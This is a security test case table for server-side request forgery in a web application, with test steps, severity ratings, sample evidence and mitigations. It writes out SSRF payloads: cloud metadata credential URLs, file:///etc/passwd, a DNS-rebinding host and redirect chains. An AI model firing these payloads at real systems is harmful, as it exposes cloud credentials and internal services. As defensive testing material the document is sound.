| **Test Steps** | Test URL-based SSRF:  • Find parameters that fetch resources (e.g., /load?url= or /fetch?resource=)  • Inject internal URLs like http://127.0.0.1:80, http://localhost/admin, http://169.254.169.254/latest/meta-data/Expected: Server should block or return an error for such requests.  Test SSRF via File Protocols:  • Try schemes like file:///etc/passwd, ftp://127.0.0.1Expected: File scheme must be blocked; no local file should be loaded.Check DNS Rebinding /  External Host Callback:  • Set up a DNS entry pointing to internal IP  • Test via http://evil.example.com that resolves to 127.0.0.1Expected: Server should detect and deny rebinding attempts.  Leverage Open Redirects:  • Use open redirect endpoint: /redirect?url=http://internal-service/admin  • Inject it into SSRF URL param: /load?url=http://app.com/redirect?url=http://127.0.0.1/adminExpected: Chained redirects should be detected and blocked.Test Response Reflection or Delay:  • Inject slow endpoints or time-based payloads (e.g., long DNS resolve times)  • Observe server timing or response contentExpected: Server should sanitize outbound requests and timeouts should be enforced.  Test Headers or Callback Control:  • Manipulate webhook/callback URLs sent to the server (e.g., password reset webhook)  • Provide attacker-controlled domain and check if server makes callbacksExpected: Server should validate callback URLs against allowed domains. |
| **Expected Result** | - Server should not allow access to internal IPs, cloud metadata, or localhost  - File protocols and port access should be blocked- Webhooks/callbacks should only resolve to trusted hosts- Redirect chains to internal IPs should be blocked  - DNS rebinding and IP bypass tricks must fail  - No server-originated request should leak content or status from protected internal services |
| **Actual Result** | (To be filled post-assessment — e.g., http://localhost:8080 returned admin panel HTML; metadata service leaked AWS keys; webhook called external domain) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if internal services or metadata endpoints are accessible  - **High** if SSRF leads to credential exposure or pivoting  - **Medium** if requests can reach internal domains but no sensitive data is exposed  - **Low** if input is validated but filtering bypasses are possible |
| **Evidence** | **Example 1 –**  **AWS Metadata Leak:**  **Request:**http<br>GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1<br>Host: app.test  **Response:**200 OK"AccessKeyId": "AKIA…  "**Example 2 – Local Admin Page via SSRF:**  http<br>GET /load?url=http://127.0.0.1:8080/admin HTTP/1.1→  Response contained HTML of internal admin panel |
| **Mitigation Recommendation** | - Block internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16, 10.0.0.0/8, 192.168.0.0/16, etc.) from user input-based request functions- Enforce allowlists of external domains or schemes  - Disable unnecessary protocols (file://, gopher://, <ftp://)>  - Monitor outbound traffic and alert on anomalies- Set short timeouts on outbound HTTP calls  - Reject redirect chains and validate final destination  - Log all outbound requests initiated from user-controlled input |